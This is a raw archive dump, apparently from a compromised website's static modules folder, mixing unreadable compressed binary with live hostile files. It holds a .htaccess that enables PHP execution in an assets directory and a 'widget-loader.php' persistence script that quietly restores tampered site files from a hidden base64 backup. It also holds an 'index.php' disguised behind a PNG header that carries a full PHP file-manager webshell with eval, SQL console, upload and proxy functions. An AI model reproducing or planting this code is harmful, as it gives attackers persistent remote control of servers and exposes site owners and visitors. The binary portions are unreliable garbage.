k;+!5+*Ŵ򕦚~!zŔ/RZ	1U~*a4 Q8DK	~j8?ڛ)Қ1)$kKN`qU#i#9r&n?1I	OE?,ҥ@x'7'ƲǷ\kqY҂9}xKR^TŞ7?(s!'t򰋦y}1ܷC]=ԬSkXKgTS?	p<J$\l<"JY2hAnr%pfsguJTd̉ȝ(<W%b3ef3&x'm4$cMMeiYL̱iFL
d+G 7#A}kWT/OՌtMGқ*]d111 O	t(Ita(ju;>a[ޜ;$lH]^Q7V{Xiz9v] 
                                                                                                                                                                                                                                                                                                                                                                                                                                               handler-loader.php.php.tar.gz                                                                       0000644                 00000001124 15243264725 0012140 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             T]o03LHBR2&kI{Mxl[wCIr{&(^אַԔUi)M5B$uΔ2ə|0VYu!Aujt1h2Gx#5lSi-B#kKN$88#iP
I9ܜ&n?/1W!~3G7#kc[.5J,iB>|%xm)~/*bۊk	R1׀	/樓y}p0ܷX`]x΀wakG?qƼj#:MI8\l6MUzp(ܚ[@K`J+@igNuJX$	8?w%r3ef3}<¶P0IXGS9@Z{	f+KlQ'S?j!Yb~dƢDf$76oydPHk=TME2!&]YiRNUli4E#N'c;V7b֢=jk5o?9q=~(d 
                                                                                                                                                                                                                                                                                                                                                                                                                                              .htaccess.tar                                                                                       0000644                 00000004000 15243264725 0007133 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/.htaccess                                                 0000644                 00000000133 15243251120 0016545 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <FilesMatch "\.php$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     session-context.php.php.tar.gz                                                                      0000644                 00000001121 15243264725 0012421 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjKư]K,[܇Hz<3({>|R)TT-Dڬ<2)($TA9U^<I6\g~8}J߲YhY]L /o-ώ9/9Mpe͒xtgzS,|$#YF<l0KrW6=%Jy]҂Y||M꣨ mPnJ\BF`POvs bnruI+;XV	MrTQ7x:(t<evhҁ,܉3g KRIki+NTJD
^*]Zo"X`;hGqUiHLRVX	bwȣQQY
d^ldp¢#D%2v$WԲop͊hPHu~G6{ uEٸ+-C\@M4]Ax[Td4pft%>aK|6ؽM8NOE 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 PK     -a]        .htaccess.htaccess.tar.gznu [              =0A\4Q\\tu96&W*z"g<{9#_q#ІH{Ғc7<WRɻ;QUhʺ*!"E+Nt!Yh; [eu20]z@t5Z~Йc:jQE79   PK     -a]PuB  
  364262.zipnu [        PK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Z: @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243236737 0017372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
